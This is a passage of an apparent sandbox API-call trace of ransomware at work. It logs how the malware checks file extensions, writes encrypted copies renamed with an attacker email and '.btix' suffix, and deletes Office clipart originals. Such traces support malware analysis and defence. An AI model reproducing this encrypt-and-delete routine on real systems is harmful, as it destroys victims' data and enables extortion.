[0148.826] lstrlenW (lpString=".jpg") returned 4 [0148.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.826] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.826] lstrlenW (lpString="J0089992.WMF") returned 12 [0148.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.826] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=15680) returned 1 [0148.826] CloseHandle (hObject=0x374) returned 1 [0148.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0148.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.848] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.848] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.848] GetLastError () returned 0x0 [0148.848] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x3d40, lpOverlapped=0x0) returned 1 [0148.849] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x3d50, lpOverlapped=0x0) returned 1 [0148.850] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.850] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.850] SetEndOfFile (hFile=0x378) returned 1 [0148.851] CloseHandle (hObject=0x378) returned 1 [0148.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.851] SetEndOfFile (hFile=0x374) returned 1 [0148.851] CloseHandle (hObject=0x374) returned 1 [0148.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.852] lstrlenW (lpString=".doc") returned 4 [0148.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.852] lstrlenW (lpString=".docx") returned 5 [0148.852] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0148.852] lstrlenW (lpString=".pdf") returned 4 [0148.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.852] lstrlenW (lpString=".xls") returned 4 [0148.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.852] lstrlenW (lpString=".xlsx") returned 5 [0148.852] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0148.852] lstrlenW (lpString=".ppt") returned 4 [0148.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.852] lstrlenW (lpString=".zip") returned 4 [0148.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.852] lstrlenW (lpString=".rar") returned 4 [0148.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString=".bz2") returned 4 [0148.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString=".7z") returned 3 [0148.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString=".dbf") returned 4 [0148.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString=".1cd") returned 4 [0148.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString=".jpg") returned 4 [0148.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString=".doc") returned 4 [0148.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString=".docx") returned 5 [0148.853] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0148.853] lstrlenW (lpString=".pdf") returned 4 [0148.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString=".xls") returned 4 [0148.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.853] lstrlenW (lpString=".xlsx") returned 5 [0148.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0148.853] lstrlenW (lpString=".ppt") returned 4 [0148.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.853] lstrlenW (lpString=".zip") returned 4 [0148.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.853] lstrlenW (lpString=".rar") returned 4 [0148.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.853] lstrlenW (lpString=".bz2") returned 4 [0148.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.854] lstrlenW (lpString=".7z") returned 3 [0148.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.854] lstrlenW (lpString=".dbf") returned 4 [0148.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.854] lstrlenW (lpString=".1cd") returned 4 [0148.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0148.854] lstrlenW (lpString=".jpg") returned 4 [0148.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.854] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.854] lstrlenW (lpString="J0090027.WMF") returned 12 [0148.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.854] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=21268) returned 1 [0148.854] CloseHandle (hObject=0x374) returned 1 [0148.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0148.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.855] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.855] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.855] GetLastError () returned 0x0 [0148.855] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x5314, lpOverlapped=0x0) returned 1 [0148.856] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x5320, lpOverlapped=0x0) returned 1 [0148.857] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.858] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.858] SetEndOfFile (hFile=0x378) returned 1 [0148.858] CloseHandle (hObject=0x378) returned 1 [0148.858] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.858] SetEndOfFile (hFile=0x374) returned 1 [0148.859] CloseHandle (hObject=0x374) returned 1 [0148.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0148.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.859] lstrlenW (lpString=".doc") returned 4 [0148.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.859] lstrlenW (lpString=".docx") returned 5 [0148.859] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.859] lstrlenW (lpString=".pdf") returned 4 [0148.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.859] lstrlenW (lpString=".xls") returned 4 [0148.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.859] lstrlenW (lpString=".xlsx") returned 5 [0148.859] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.859] lstrlenW (lpString=".ppt") returned 4 [0148.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString=".zip") returned 4 [0148.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.860] lstrlenW (lpString=".rar") returned 4 [0148.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString=".bz2") returned 4 [0148.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString=".7z") returned 3 [0148.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString=".dbf") returned 4 [0148.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString=".1cd") returned 4 [0148.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString=".jpg") returned 4 [0148.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.860] lstrlenW (lpString=".doc") returned 4 [0148.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString=".docx") returned 5 [0148.860] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.860] lstrlenW (lpString=".pdf") returned 4 [0148.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.860] lstrlenW (lpString=".xls") returned 4 [0148.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.860] lstrlenW (lpString=".xlsx") returned 5 [0148.860] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.860] lstrlenW (lpString=".ppt") returned 4 [0148.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.861] lstrlenW (lpString=".zip") returned 4 [0148.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.861] lstrlenW (lpString=".rar") returned 4 [0148.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.861] lstrlenW (lpString=".bz2") returned 4 [0148.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.861] lstrlenW (lpString=".7z") returned 3 [0148.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.861] lstrlenW (lpString=".dbf") returned 4 [0148.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.861] lstrlenW (lpString=".1cd") returned 4 [0148.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0148.861] lstrlenW (lpString=".jpg") returned 4 [0148.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.861] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.861] lstrlenW (lpString="J0090087.WMF") returned 12 [0148.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.861] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=46936) returned 1 [0148.861] CloseHandle (hObject=0x374) returned 1 [0148.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0148.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.862] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.862] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0148.862] GetLastError () returned 0x0 [0148.862] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xb758, lpOverlapped=0x0) returned 1 [0148.864] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xb760, lpOverlapped=0x0) returned 1 [0148.865] ReadFile (in: hFile=0x374, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.866] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0148.866] SetEndOfFile (hFile=0x378) returned 1 [0148.866] CloseHandle (hObject=0x378) returned 1 [0148.866] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.866] SetEndOfFile (hFile=0x374) returned 1 [0148.867] CloseHandle (hObject=0x374) returned 1 [0148.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.867] lstrlenW (lpString=".doc") returned 4 [0148.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.867] lstrlenW (lpString=".docx") returned 5 [0148.867] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.868] lstrlenW (lpString=".pdf") returned 4 [0148.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString=".xls") returned 4 [0148.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.868] lstrlenW (lpString=".xlsx") returned 5 [0148.868] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.868] lstrlenW (lpString=".ppt") returned 4 [0148.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString=".zip") returned 4 [0148.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.868] lstrlenW (lpString=".rar") returned 4 [0148.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString=".bz2") returned 4 [0148.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString=".7z") returned 3 [0148.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString=".dbf") returned 4 [0148.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString=".1cd") returned 4 [0148.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString=".jpg") returned 4 [0148.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.868] lstrlenW (lpString=".doc") returned 4 [0148.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.868] lstrlenW (lpString=".docx") returned 5 [0148.868] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0148.868] lstrlenW (lpString=".pdf") returned 4 [0148.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString=".xls") returned 4 [0148.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.869] lstrlenW (lpString=".xlsx") returned 5 [0148.869] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0148.869] lstrlenW (lpString=".ppt") returned 4 [0148.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.869] lstrlenW (lpString=".zip") returned 4 [0148.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.869] lstrlenW (lpString=".rar") returned 4 [0148.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString=".bz2") returned 4 [0148.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString=".7z") returned 3 [0148.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.869] lstrlenW (lpString=".dbf") returned 4 [0148.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.869] lstrlenW (lpString=".1cd") returned 4 [0148.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0148.869] lstrlenW (lpString=".jpg") returned 4 [0148.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.869] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.869] lstrlenW (lpString="J0090089.WMF") returned 12 [0148.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0148.870] GetFileSizeEx (in: hFile=0x374, 